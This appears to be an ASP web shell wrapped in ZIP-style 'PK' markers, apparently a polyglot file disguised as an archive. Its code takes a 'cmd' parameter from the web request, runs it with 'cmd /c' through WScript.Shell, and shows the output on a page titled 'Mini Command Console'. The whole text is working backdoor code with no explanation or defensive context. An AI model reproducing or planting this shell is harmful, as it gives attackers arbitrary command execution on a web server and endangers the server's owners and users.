
PK 
<%Set oScriptNet = Server.CreateObject("WScript.Network"):Function getCommandOutput(cmd):Set objShell = CreateObject("WScript.Shell"):Set objCmdExec = objShell.Exec("cmd /c " & cmd):getCommandOutput = objCmdExec.StdOut.ReadAll:End Function:szCMD = Request("cmd"):If szCMD <> "" Then result = getCommandOutput(szCMD):End If%><HTML><title>Mini Command Console</title><BODY><FORM method="GET"><input type="text" name="cmd" size="50" value="<%= szCMD %>"><input type="submit" value="Run"></FORM><PRE><%= result %></PRE></BODY></HTML>


PK 99